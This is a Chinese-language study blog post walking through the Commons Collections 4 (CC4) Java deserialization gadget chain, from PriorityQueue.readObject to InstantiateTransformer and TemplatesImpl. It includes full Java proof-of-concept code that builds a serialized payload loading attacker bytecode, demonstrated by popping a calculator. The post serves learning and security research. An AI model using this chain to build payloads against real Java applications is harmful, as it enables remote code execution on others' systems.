环境
分析
这次的CC4 最后没有用到InvokerTransformer
,而是InstantiateTransformer
,看到他的transform()
,之前CC3就接触到这个,后面有个实例化刚好符合类加载 所以这次的终点是InstantiateTransformer#transform,开始倒推

发现TransformingComparator#compare
里面调用了transform(),而且里面的this.tranformer
可以通过构造函数控制值

再find usage,来到PriorityQueue#siftDownComparable

就这么一步一步往上找,最后刚好能找到有一个readObject入口,很顺利,链子倒推就是
1 2 3 4 5 6
| InstantiateTransformer.transform() -> TransformingComparator.compare() -> PriorityQueue.siftDownComparable() -> PriorityQueue.siftFown() -> PriorityQueue.heapify() -> PriorityQueue.readObject()
|
然后这里TransformingComparator.compare()
就是public了,直接修改这后面的东西,前面那一段等反序列化自动调用即可
EXP编写
先结合之前CC3的内容,尝试直接调用transform()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public class CC4 { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1); }
public static void setFieldValue(Object object, String fieldName, Object filedValue) throws IllegalAccessException, NoSuchFieldException { Field filed = object.getClass().getDeclaredField(fieldName); filed.setAccessible(true); filed.set(object,filedValue); } }
|
这样执行成功弹出计算机,接下来尝试调用compare()
前面的内容不变
1 2 3 4
| --> TransformingComparator comparator = new TransformingComparator(chainedTransformer); comparator.compare(1,2);
|
没问题,接下来尝试把comparator
包在PriorityQueue
里面,然后直接尝试序列化反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(comparator); serialize(priorityQueue); unserialize("ser.bin"); }
|
但是这次执行失败,按理说是没问题的,调试一下,把断点打在heapify()里面

跟进,发现这个for都进不去

我们要控制(size >>> 1) - 1
运算结果大于等于0,size是2就好,那我们前面多给priorityQueue
加两个东西,使得size是2就能进去for循环
1 2
| priorityQueue.add(1); priorityQueue.add(2);
|
这次再跟进就能进入for循环了,但是这次发现没有序列化反序列化就会弹计算机了
这次跟进到add里面,发现在add的过程中会跳到compare一次然后调用transform()后面一系列流程,相当于提前走了readObject流程的后半部份,让我联想到CC6里面其中一部份到了put也会自动弹计算机,解决思路就是在add的时候先控制对象里面没有我们要加载的字节码相关内容,add之后再通过反射修改回去
最后poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(comparator); priorityQueue.add(1); priorityQueue.add(2);
Class c = Class.forName("org.apache.commons.collections4.comparators.TransformingComparator"); Field comparatorField = c.getDeclaredField("transformer"); comparatorField.setAccessible(true); comparatorField.set(comparator,chainedTransformer);
serialize(priorityQueue); unserialize("ser.txt"); }
|
总结
有了前面三个链子,再看CC4里面的问题,确实简单多了,希望自己写笔记的效率能高点

画了张小图,如果有错误十分欢迎找我指正🙏
参考
https://drun1baby.top/2022/06/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8706-CC4%E9%93%BE/
https://www.cnblogs.com/1vxyz/p/17473641.html